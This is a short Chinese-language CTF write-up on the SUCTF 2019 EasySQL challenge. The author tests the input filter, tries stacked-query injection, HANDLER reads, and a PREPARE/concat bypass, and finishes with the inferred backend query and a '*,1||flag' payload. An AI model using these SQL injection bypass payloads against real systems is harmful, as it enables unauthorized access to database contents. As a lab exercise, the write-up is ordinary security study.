[SUCTF 2019]EasySQL
1
回显NONONO代表被过滤了。
if,or,and,union,order 过滤了
fuzz测试一下:

很多内容都被过滤了。
看到;没有过滤,试一下堆注入。

select 1,2,table_name from information_schema.tables where table_schema='ctf'
这个不行,from也过滤了。

show tables (show databases;)
我的问题:有方法绕过from去查询表中的内容吗?
方法:用HANDLER
handler handler_table open;handler handler_table read first;handler handler_table read next;handler handler_table close;
这里参考:https://blog.youkuaiyun.com/qq_43427482/article/details/109898934
https://dev.mysql.com/doc/refman/8.0/en/handler.html
这个handler也被过滤了,不过在学习过程中发现可以预编译绕过,试一下
;PREPARE st from concat('s','elect', ' * fr','om `flag` ');EXECUTE st;#
PREPARE也被过滤了
......
还有table参数,但是只支持MySQL 8.0.19版本的...

query=1;table flag;
结果flag也给过滤了.......
感觉这条路已经封死了......
参考:
https://blog.youkuaiyun.com/StevenOnesir/article/details/110203051
源码select $_POST[‘query’] || flag from Flag,
select *,1||flag from Flag,